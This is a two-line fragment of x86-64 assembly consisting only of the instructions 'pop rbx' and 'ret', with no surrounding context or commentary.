pop rbx
ret